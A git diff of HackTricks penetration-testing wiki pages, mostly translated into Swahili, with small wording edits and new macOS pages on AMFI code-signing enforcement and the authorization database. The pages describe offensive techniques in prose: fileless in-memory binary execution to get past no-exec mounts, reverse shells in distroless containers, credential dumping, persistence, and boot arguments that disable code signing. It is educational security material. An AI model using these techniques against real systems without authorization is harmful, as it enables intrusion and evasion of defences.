### **7-** [**Kupata Shell**](reverse-shells/)
@ -83,7 +83,7 @@ Hasa katika Windows unaweza kuhitaji msaada wa **kuepuka antiviruses**: [**Angal
### 8- Ndani
Ikiwa una matatizo na shell, unaweza kupata hapa **mkusanyiko mdogo wa amri muhimu zaidi** kwa wapentester:
Ikiwa una matatizo na shell, unaweza kupata hapa mkusanyiko mdogo wa **amri muhimu zaidi** kwa wapentester:
* [**Linux**](../linux-hardening/useful-linux-commands.md)
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
@ -104,33 +104,33 @@ Unapaswa pia kuangalia hizi kurasa kuhusu jinsi **Windows inavyofanya kazi**:
* [**Uthibitishaji, Akidi, Mamlaka ya Token na UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* Jinsi [**NTLM inavyofanya kazi**](../windows-hardening/ntlm/)
* Jinsi ya [**kuiba akidi**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) katika Windows
* Mbinu kadhaa kuhusu [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
* Hila kadhaa kuhusu [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
**Usisahau kuangalia zana bora za kuorodhesha njia za Kupandisha Mamlaka za ndani za Windows na Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Privesc za Kihistoria**
Hapa unaweza kupata [**mbinu inayofafanua hatua za kawaida za kuorodhesha, kupandisha mamlaka na kudumu kwenye Active Directory**](../windows-hardening/active-directory-methodology/). Hata kama hii ni sehemu ndogo ya sehemu, mchakato huu unaweza kuwa **nyeti sana** kwenye kazi ya Pentesting/Red Team.
Hapa unaweza kupata [**mbinu inayofafanua hatua za kawaida za kuorodhesha, kupandisha mamlaka na kudumu kwenye Active Directory**](../windows-hardening/active-directory-methodology/). Hata kama hii ni sehemu tu ya sehemu, mchakato huu unaweza kuwa **nyeti sana** kwenye kazi ya Pentesting/Red Team.
### 11 - POST
#### **11**.1 - Kuiba
Angalia ikiwa unaweza kupata zaidi **nywila** ndani ya mwenyeji au ikiwa una **ufikiaji kwa mashine nyingine** zikiwa na **mamlaka** ya **mtumiaji wako**.\
Angalia ikiwa unaweza kupata zaidi ya **nywila** ndani ya mwenyeji au ikiwa una **ufikiaji kwa mashine nyingine** zikiwa na **mamlaka** ya **mtumiaji wako**.\
Pata hapa njia tofauti za [**kudump nywila katika Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
#### 11.2 - Kudumu
**Tumia aina 2 au 3 tofauti za mitambo ya kudumu ili usihitaji kuathiri mfumo tena.**\
**Hapa unaweza kupata baadhi ya** [**mbinu za kudumu kwenye active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
**Hapa unaweza kupata baadhi ya** [**hila za kudumu kwenye active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
TODO: Kamalisha kudumu Post katika Windows & Linux
### 12 - Pivoting
Kwa **akidi zilizokusanywa** unaweza kuwa na ufikiaji kwa mashine nyingine, au labda unahitaji **kugundua na kuskan wenyeji wapya** (anza tena Mbinu ya Pentesting) ndani ya mitandao mipya ambapo mwathirika wako ameunganishwa.\
Kwa **akidi zilizokusanywa** unaweza kuwa na ufikiaji kwa mashine nyingine, au labda unahitaji **kugundua na kuskan wenyeji wapya** (anzisha tena Mbinu ya Pentesting) ndani ya mitandao mipya ambapo mwathirika wako ameunganishwa.\
Katika kesi hii, tunneling inaweza kuwa muhimu. Hapa unaweza kupata [**post inayozungumzia tunneling**](tunneling-and-port-forwarding.md).\
Unapaswa pia kuangalia post kuhusu [Mbinu ya pentesting ya Active Directory](../windows-hardening/active-directory-methodology/). Huko utapata mbinu nzuri za kuhamasisha, kupandisha mamlaka na kudump akidi.\
Unapaswa pia kuangalia post kuhusu [Mbinu ya pentesting ya Active Directory](../windows-hardening/active-directory-methodology/). Huko utapata hila nzuri za kuhamasisha, kupandisha mamlaka na kudump akidi.\
Angalia pia ukurasa kuhusu [**NTLM**](../windows-hardening/ntlm/), inaweza kuwa ya manufaa sana kuhamasisha katika mazingira ya Windows.
### ZAIDI
@ -145,13 +145,13 @@ Angalia pia ukurasa kuhusu [**NTLM**](../windows-hardening/ntlm/), inaweza kuwa
#### [**Python ya Msingi**](python/)
#### **Mbinu za Crypto**
#### **Hila za Crypto**
* [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika_).
@ -166,8 +166,8 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../.gitbook/assets/grte.png"
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tuwekee** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -45,7 +45,7 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>
Hata hivyo, hata kama mfumo wa faili umewekwa kama ro, **`/dev/shm`** bado itaandikwa, hivyo ni uongo hatuwezi kuandika chochote kwenye diski. Hata hivyo, folda hii itakuwa **imewekwa na no-exec protection**, hivyo ikiwa utashusha binary hapa huwezi **kuweza kuitekeleza**.
Hata hivyo, hata kama mfumo wa faili umewekwa kama ro, **`/dev/shm`** bado itaandikwa, hivyo ni uongo kwamba hatuwezi kuandika chochote kwenye diski. Hata hivyo, folda hii itakuwa **imewekwa na no-exec protection**, hivyo ikiwa utashusha binary hapa huwezi **kuweza kuitekeleza**.
{% hint style="warning" %}
Kutoka kwa mtazamo wa timu nyekundu, hii inafanya **kuwa ngumu kupakua na kutekeleza** binaries ambazo hazipo kwenye mfumo tayari (kama backdoors au enumerators kama `kubectl`).
@ -55,7 +55,7 @@ Kutoka kwa mtazamo wa timu nyekundu, hii inafanya **kuwa ngumu kupakua na kuteke
Kumbuka kwamba nilitaja binaries, unaweza **kutekeleza script yoyote** mradi tu mfasiri yuko ndani ya mashine, kama **shell script** ikiwa `sh` inapatikana au **python** **script** ikiwa `python` imewekwa.
Hata hivyo, hii haitoshi kutekeleza backdoor yako ya binary au zana nyingine za binary unazoweza kuhitaji kuendesha.
Hata hivyo, hii haitoshi kutekeleza backdoor yako ya binary au zana nyingine za binary unazohitaji kuendesha.
## Memory Bypasses
@ -63,21 +63,21 @@ Ikiwa unataka kutekeleza binary lakini mfumo wa faili haukuruhusu hilo, njia bor
### FD + exec syscall bypass
Ikiwa una baadhi ya injini za script zenye nguvu ndani ya mashine, kama **Python**, **Perl**, au **Ruby** unaweza kupakua binary ili kuitekeleza kutoka kwenye kumbukumbu, kuihifadhi katika file descriptor ya kumbukumbu (`create_memfd` syscall), ambayo haitalindwa na ulinzi huo na kisha kuita **`exec` syscall** ikionyesha **fd kama faili ya kutekeleza**.
Ikiwa una injini za script zenye nguvu ndani ya mashine, kama **Python**, **Perl**, au **Ruby** unaweza kupakua binary ili kuitekeleza kutoka kwenye kumbukumbu, kuihifadhi katika file descriptor ya kumbukumbu (`create_memfd` syscall), ambayo haitalindwa na ulinzi huo na kisha kuita **`exec` syscall** ikionyesha **fd kama faili ya kutekeleza**.
Kwa hili unaweza kwa urahisi kutumia mradi [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Unaweza kupitisha binary na itaunda script katika lugha iliyoashiriwa na **binary iliyoshinikizwa na b64 encoded** na maagizo ya **kufungua na kuondoa shinikizo** katika **fd** iliyoundwa kwa kuita `create_memfd` syscall na wito kwa **exec** syscall kuikimbia.
Kwa hili unaweza kwa urahisi kutumia mradi [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Unaweza kupitisha binary na itaunda script katika lugha iliyoonyeshwa na **binary iliyoshinikizwa na b64 encoded** na maagizo ya **kufungua na kuondoa** katika **fd** iliyoundwa kwa kuita `create_memfd` syscall na wito wa **exec** syscall kuikimbia.
{% hint style="warning" %}
Hii haifanyi kazi katika lugha nyingine za scripting kama PHP au Node kwa sababu hazina njia yoyote ya **kawaida ya kuita raw syscalls** kutoka kwenye script, hivyo haiwezekani kuita `create_memfd` kuunda **memory fd** kuhifadhi binary.
Hii haiwezi kufanya kazi katika lugha nyingine za scripting kama PHP au Node kwa sababu hazina njia yoyote ya **kawaida ya kuita raw syscalls** kutoka kwa script, hivyo haiwezekani kuita `create_memfd` kuunda **memory fd** kuhifadhi binary.
Zaidi ya hayo, kuunda **fd ya kawaida** na faili katika `/dev/shm` haitafanya kazi, kwani hutaruhusiwa kuikimbia kwa sababu **no-exec protection** itatumika.
{% endhint %}
### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) ni mbinu inayokuruhusu **kurekebisha kumbukumbu ya mchakato wako mwenyewe** kwa kuandika tena **`/proc/self/mem`**.
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) ni mbinu inayokuruhusu **kubadilisha kumbukumbu ya mchakato wako** kwa kuandika tena **`/proc/self/mem`**.
Hivyo, **kuweza kudhibiti msimbo wa mkusanyiko** unaotekelezwa na mchakato, unaweza kuandika **shellcode** na "kubadilisha" mchakato ili **utekeleze msimbo wowote wa kawaida**.
Hivyo, **kuweza kudhibiti msimbo wa mkusanyiko** unaotekelezwa na mchakato, unaweza kuandika **shellcode** na "kubadilisha" mchakato ili **kuendesha msimbo wowote wa kawaida**.
{% hint style="success" %}
**DDexec / EverythingExec** itakuruhusu kupakia na **kutekeleza** shellcode yako mwenyewe au **binary yoyote** kutoka **kumbukumbu**.
@ -94,7 +94,7 @@ Kwa maelezo zaidi kuhusu mbinu hii angalia Github au:
### MemExec
[**Memexec**](https://github.com/arget13/memexec) ni hatua ya asili inayofuata ya DDexec. Ni **DDexec shellcode demonised**, hivyo kila wakati unapotaka **kuendesha binary tofauti** huwezi kuanzisha tena DDexec, unaweza tu kuendesha memexec shellcode kupitia mbinu ya DDexec na kisha **kuwasiliana na demon hii ili kupitisha binaries mpya za kupakia na kuendesha**.
[**Memexec**](https://github.com/arget13/memexec) ni hatua ya asili inayofuata ya DDexec. Ni **DDexec shellcode demonised**, hivyo kila wakati unapotaka **kufanya kazi na binary tofauti** huwezi kuanzisha tena DDexec, unaweza tu kuendesha memexec shellcode kupitia mbinu ya DDexec na kisha **kuwasiliana na demon hii ili kupitisha binaries mpya za kupakia na kuendesha**.
Unaweza kupata mfano wa jinsi ya kutumia **memexec kutekeleza binaries kutoka kwa PHP reverse shell** katika [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
@ -106,35 +106,35 @@ Kwa kusudi linalofanana na DDexec, mbinu ya [**memdlopen**](https://github.com/a
### Nini distroless
Mizigo ya distroless ina sehemu tu za **muhimu kabisa zinazohitajika kuendesha programu au huduma maalum**, kama vile maktaba na utegemezi wa wakati wa kuendesha, lakini inatenga sehemu kubwa kama meneja wa pakiti, shell, au zana za mfumo.
Mizigo ya distroless ina sehemu tu za **misingi inayohitajika ili kuendesha programu au huduma maalum**, kama vile maktaba na utegemezi wa wakati wa kuendesha, lakini inatenga sehemu kubwa kama vile meneja wa pakiti, shell, au zana za mfumo.
Lengo la mizigo ya distroless ni **kupunguza uso wa shambulio wa mizigo kwa kuondoa sehemu zisizohitajika** na kupunguza idadi ya udhaifu ambao unaweza kutumiwa.
### Reverse Shell
Katika mizigo ya distroless huenda **usipate hata `sh` au `bash`** kupata shell ya kawaida. Hutaweza pia kupata binaries kama `ls`, `whoami`, `id`... kila kitu ambacho kawaida unakimbia kwenye mfumo.
Katika mizigo ya distroless huenda **usipate hata `sh` au `bash`** kupata shell ya kawaida. Hutaweza pia kupata binaries kama `ls`, `whoami`, `id`... kila kitu ambacho kawaida unakifanya katika mfumo.
{% hint style="warning" %}
Hivyo, **hutaweza** kupata **reverse shell** au **kuhesabu** mfumo kama kawaida unavyofanya.
Hivyo, huwezi kupata **reverse shell** au **kuhesabu** mfumo kama kawaida unavyofanya.
{% endhint %}
Hata hivyo, ikiwa kontena lililoathirika linaendesha kwa mfano flask web, basi python imewekwa, na hivyo unaweza kupata **Python reverse shell**. Ikiwa linaendesha node, unaweza kupata Node rev shell, na vivyo hivyo na lugha nyingi za **scripting**.
Hata hivyo, ikiwa kontena lililovunjwa linaendesha kwa mfano flask web, basi python imewekwa, na hivyo unaweza kupata **Python reverse shell**. Ikiwa linaendesha node, unaweza kupata Node rev shell, na vivyo hivyo na lugha nyingi za **scripting**.
{% hint style="success" %}
Kwa kutumia lugha ya scripting unaweza **kuhesabu mfumo** kwa kutumia uwezo wa lugha hiyo.
{% endhint %}
Ikiwa hakuna **`read-only/no-exec`** ulinzi unaweza kutumia reverse shell yako ku **andika kwenye mfumo wa faili binaries zako** na **kuziendesha**.
Ikiwa hakuna **`read-only/no-exec`** ulinzi unaweza kutumia reverse shell yako **kuandika kwenye mfumo wa faili binaries zako** na **kuziendesha**.
{% hint style="success" %}
Hata hivyo, katika aina hii ya mizigo ulinzi huu kwa kawaida utawepo, lakini unaweza kutumia **mbinu za awali za utekelezaji wa kumbukumbu kuzipita**.
{% endhint %}
Unaweza kupata **mfano** wa jinsi ya **kutumia udhaifu fulani wa RCE** kupata lugha za scripting **reverse shells** na kuendesha binaries kutoka kwenye kumbukumbu katika [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
Unaweza kupata **esemples** za jinsi ya **kutumia baadhi ya udhaifu wa RCE** kupata lugha za scripting **reverse shells** na kuendesha binaries kutoka kwenye kumbukumbu katika [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kiswahili kunahitajika_).
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -0,0 +1,155 @@
# macOS - AMFI - AppleMobileFileIntegrity
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## AppleMobileFileIntegrity.kext and amfid
Inalenga katika kutekeleza uadilifu wa msimbo unaotumika kwenye mfumo ikitoa mantiki nyuma ya uthibitishaji wa saini ya msimbo wa XNU. Pia ina uwezo wa kuangalia haki na kushughulikia kazi nyeti nyingine kama vile kuruhusu ufuatiliaji au kupata bandari za kazi.
Zaidi ya hayo, kwa baadhi ya operesheni, kext inapendelea kuwasiliana na nafasi ya mtumiaji inayotumia daemon `/usr/libexec/amfid`. Uhusiano huu wa kuaminiana umekataliwa katika jailbreak nyingi.
AMFI inatumia sera za **MACF** na inasajili vidokezo vyake mara tu inapoanzishwa. Pia, kuzuia upakiaji au upakuaji wake kunaweza kusababisha paniki ya kernel. Hata hivyo, kuna baadhi ya hoja za kuanzisha ambazo zinaruhusu kudhoofisha AMFI:
* `amfi_unrestricted_task_for_pid`: Ruhusu task\_for\_pid kuruhusiwa bila haki zinazohitajika
* `amfi_allow_any_signature`: Ruhusu saini yoyote ya msimbo
* `cs_enforcement_disable`: Hoja ya mfumo mzima inayotumika kuzima utekelezaji wa saini ya msimbo
* `amfi_prevent_old_entitled_platform_binaries`: Batilisha binaries za jukwaa zenye haki
* `amfi_get_out_of_my_way`: Inazima amfi kabisa
Hizi ni baadhi ya sera za MACF ambazo inasajili:
* **`cred_check_label_update_execve:`** Sasisho la lebo litafanywa na kurudisha 1
* **`cred_label_associate`**: Sasisha slot ya lebo ya mac ya AMFI
* **`cred_label_destroy`**: Ondoa slot ya lebo ya mac ya AMFI
* **`cred_label_init`**: Hamisha 0 katika slot ya lebo ya mac ya AMFI
* **`cred_label_update_execve`:** Inakagua haki za mchakato kuona kama inapaswa kuruhusiwa kubadilisha lebo.
* **`file_check_mmap`:** Inakagua ikiwa mmap inapata kumbukumbu na kuipatia kama inayoweza kutekelezwa. Katika kesi hiyo inakagua ikiwa uthibitishaji wa maktaba unahitajika na ikiwa ndivyo, inaita kazi ya uthibitishaji wa maktaba.
* **`file_check_library_validation`**: Inaita kazi ya uthibitishaji wa maktaba ambayo inakagua miongoni mwa mambo mengine ikiwa binary ya jukwaa inapakua binary nyingine ya jukwaa au ikiwa mchakato na faili mpya iliyopakuliwa zina TeamID sawa. Haki fulani pia zitaruhusu kupakua maktaba yoyote.
* **`policy_initbsd`**: Inaanzisha Funguo za NVRAM zinazotambulika
* **`policy_syscall`**: Inakagua sera za DYLD kama binary ina sehemu zisizo na kikomo, ikiwa inapaswa kuruhusu env vars... hii pia inaitwa wakati mchakato unapoanzishwa kupitia `amfi_check_dyld_policy_self()`.
* **`proc_check_inherit_ipc_ports`**: Inakagua ikiwa wakati mchakato unatekeleza binary mpya mchakato mingine yenye haki za SEND juu ya bandari ya kazi ya mchakato inapaswa kuendelea kuwa nazo au la. Binaries za jukwaa zinaruhusiwa, haki ya `get-task-allow` inaruhusu, haki za `task_for_pid-allow` zinaruhusiwa na binaries zenye TeamID sawa.
* **`proc_check_expose_task`**: inatekeleza haki
* **`amfi_exc_action_check_exception_send`**: Ujumbe wa kipekee unatumwa kwa debugger
* **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: Mzunguko wa lebo wakati wa kushughulikia kipekee (ufuatiliaji)
* **`proc_check_get_task`**: Inakagua haki kama `get-task-allow` ambayo inaruhusu mchakato mwingine kupata bandari za kazi na `task_for_pid-allow`, ambayo inaruhusu mchakato kupata bandari za kazi za mchakato mingine. Ikiwa hakuna hata moja ya hizo, inaita `amfid permitunrestricteddebugging` kuangalia ikiwa inaruhusiwa.
* **`proc_check_mprotect`**: Kanusha ikiwa `mprotect` inaitwa na bendera `VM_PROT_TRUSTED` ambayo inaashiria kwamba eneo linapaswa kutendewa kana kwamba lina saini halali ya msimbo.
* **`vnode_check_exec`**: Inaitwa wakati faili zinazoweza kutekelezwa zinapopakuliwa kwenye kumbukumbu na kuweka `cs_hard | cs_kill` ambayo itaua mchakato ikiwa mojawapo ya kurasa inakuwa batili
* **`vnode_check_getextattr`**: MacOS: Angalia `com.apple.root.installed` na `isVnodeQuarantined()`
* **`vnode_check_setextattr`**: Kama pata + com.apple.private.allow-bless na haki sawa na mfunguo wa ndani
* &#x20;**`vnode_check_signature`**: Msimbo unaoitwa XNU kuangalia saini ya msimbo kwa kutumia haki, cache ya kuaminika na `amfid`
* &#x20;**`proc_check_run_cs_invalid`**: Inakabili `ptrace()` calls (`PT_ATTACH` na `PT_TRACE_ME`). Inakagua haki zozote za `get-task-allow`, `run-invalid-allow` na `run-unsigned-code` na ikiwa hakuna, inakagua ikiwa ufuatiliaji unaruhusiwa.
* **`proc_check_map_anon`**: Ikiwa mmap inaitwa na bendera **`MAP_JIT`**, AMFI itakagua haki ya `dynamic-codesigning`.
`AMFI.kext` pia inatoa API kwa nyongeza nyingine za kernel, na inawezekana kupata utegemezi wake kwa:
```bash
kextstat | grep " 19 " | cut -c2-5,50- | cut -d '(' -f1
Executing: /usr/bin/kmutil showloaded
No variant specified, falling back to release
8 com.apple.kec.corecrypto
19 com.apple.driver.AppleMobileFileIntegrity
22 com.apple.security.sandbox
24 com.apple.AppleSystemPolicy
67 com.apple.iokit.IOUSBHostFamily
70 com.apple.driver.AppleUSBTDM
71 com.apple.driver.AppleSEPKeyStore
74 com.apple.iokit.EndpointSecurity
81 com.apple.iokit.IOUserEthernet
101 com.apple.iokit.IO80211Family
102 com.apple.driver.AppleBCMWLANCore
118 com.apple.driver.AppleEmbeddedUSBHost
134 com.apple.iokit.IOGPUFamily
135 com.apple.AGXG13X
137 com.apple.iokit.IOMobileGraphicsFamily
138 com.apple.iokit.IOMobileGraphicsFamily-DCP
162 com.apple.iokit.IONVMeFamily
```
## amfid
Hii ni huduma ya mtumiaji inayotumia daemon ambayo `AMFI.kext` itatumia kuangalia saini za msimbo katika hali ya mtumiaji.\
Ili `AMFI.kext` iweze kuwasiliana na daemon inatumia ujumbe wa mach kupitia bandari `HOST_AMFID_PORT` ambayo ni bandari maalum `18`.
Kumbuka kwamba katika macOS si tena inawezekana kwa michakato ya root kuchukua bandari maalum kwani zimekingwa na `SIP` na ni launchd pekee anayeweza kuzipata. Katika iOS inakaguliwa kwamba mchakato unaotuma jibu nyuma una CDHash iliyowekwa kwa `amfid`.
Inawezekana kuona wakati `amfid` inapoombwa kuangalia binary na jibu lake kwa ku-debug na kuweka breakpoint katika `mach_msg`.
Mara ujumbe unapopokelewa kupitia bandari maalum **MIG** inatumika kutuma kila kazi kwa kazi inayoita. Kazi kuu zilirejeshwa na kufafanuliwa ndani ya kitabu.
## Provisioning Profiles
Profaili ya usambazaji inaweza kutumika kusaini msimbo. Kuna profaili za **Developer** ambazo zinaweza kutumika kusaini msimbo na kuujaribu, na profaili za **Enterprise** ambazo zinaweza kutumika katika vifaa vyote.
Baada ya App kuwasilishwa kwa Duka la Apple, ikiwa imeidhinishwa, inasainiwa na Apple na profaili ya usambazaji haitahitajika tena.
Profaili kwa kawaida hutumia kiambishi `.mobileprovision` au `.provisionprofile` na inaweza kutolewa kwa:
```bash
openssl asn1parse -inform der -in /path/to/profile
# Or
security cms -D -i /path/to/profile
```
Ingawa wakati mwingine inaitwa kama iliyothibitishwa, hizi profiles za usambazaji zina zaidi ya cheti:
* **AppIDName:** Kitambulisho cha Programu
* **AppleInternalProfile**: Inatambulisha hii kama profaili ya Ndani ya Apple
* **ApplicationIdentifierPrefix**: Imewekwa kabla ya AppIDName (sawa na TeamIdentifier)
* **CreationDate**: Tarehe katika muundo wa `YYYY-MM-DDTHH:mm:ssZ`
* **DeveloperCertificates**: Mfululizo wa (kwa kawaida mmoja) cheti, kilichowekwa kama data ya Base64
* **Entitlements**: Haki zinazoruhusiwa na haki za profaili hii
* **ExpirationDate**: Tarehe ya kumalizika katika muundo wa `YYYY-MM-DDTHH:mm:ssZ`
* **Name**: Jina la Programu, sawa na AppIDName
* **ProvisionedDevices**: Mfululizo (kwa cheti za waendelezaji) wa UDIDs ambazo profaili hii ni halali
* **ProvisionsAllDevices**: Boolean (kweli kwa cheti za biashara)
* **TeamIdentifier**: Mfululizo wa (kwa kawaida mmoja) nyuzi za alfanumeriki zinazotumika kutambulisha mendelezi kwa madhumuni ya mwingiliano kati ya programu
* **TeamName**: Jina linaloweza kusomeka na binadamu linalotumika kutambulisha mendelezi
* **TimeToLive**: Uhalali (katika siku) wa cheti
* **UUID**: Kitambulisho cha Kipekee Duniani kwa profaili hii
* **Version**: Kwa sasa imewekwa kuwa 1
Kumbuka kwamba kipengele cha haki kitakuwa na seti iliyozuiliwa ya haki na profaili ya usambazaji itakuwa na uwezo wa kutoa haki hizo maalum ili kuzuia kutoa haki za kibinafsi za Apple.
Kumbuka kwamba profaili kwa kawaida ziko katika `/var/MobileDeviceProvisioningProfiles` na inawezekana kuziangalia kwa **`security cms -D -i /path/to/profile`**
## **libmis.dyld**
Hii ni maktaba ya nje ambayo `amfid` inaita ili kuuliza ikiwa inapaswa kuruhusu kitu au la. Hii imekuwa ikitumiwa kiholela katika jailbreaking kwa kukimbia toleo lililokuwa na backdoor ambalo lingeweza kuruhusu kila kitu.
Katika macOS hii iko ndani ya `MobileDevice.framework`.
## AMFI Trust Caches
iOS AMFI inashikilia orodha ya hash zinazojulikana ambazo zimesainiwa ad-hoc, zinazoitwa **Trust Cache** na kupatikana katika sehemu ya kext's `__TEXT.__const`. Kumbuka kwamba katika operesheni maalum na nyeti inawezekana kupanua Trust Cache hii kwa faili ya nje.
## References
* [**\*OS Internals Volume III**](https://newosxbook.com/home.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -0,0 +1,112 @@
# macOS Authorizations DB & Authd
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Athorizarions DB**
Hifadhidata iliyoko katika `/var/db/auth.db` ni hifadhidata inayotumika kuhifadhi ruhusa za kufanya operesheni nyeti. Operesheni hizi zinafanywa kabisa katika **nafasi ya mtumiaji** na kwa kawaida hutumiwa na **huduma za XPC** ambazo zinahitaji kuangalia **kama mteja anayepiga simu ameidhinishwa** kufanya hatua fulani kwa kuangalia hifadhidata hii.
Kwanza, hifadhidata hii inaundwa kutoka kwa maudhui ya `/System/Library/Security/authorization.plist`. Kisha, huduma zingine zinaweza kuongeza au kubadilisha hifadhidata hii kuongeza ruhusa nyingine.
Sheria zinaifadhiwa katika jedwali la `rules` ndani ya hifadhidata na zina columns zifuatazo:
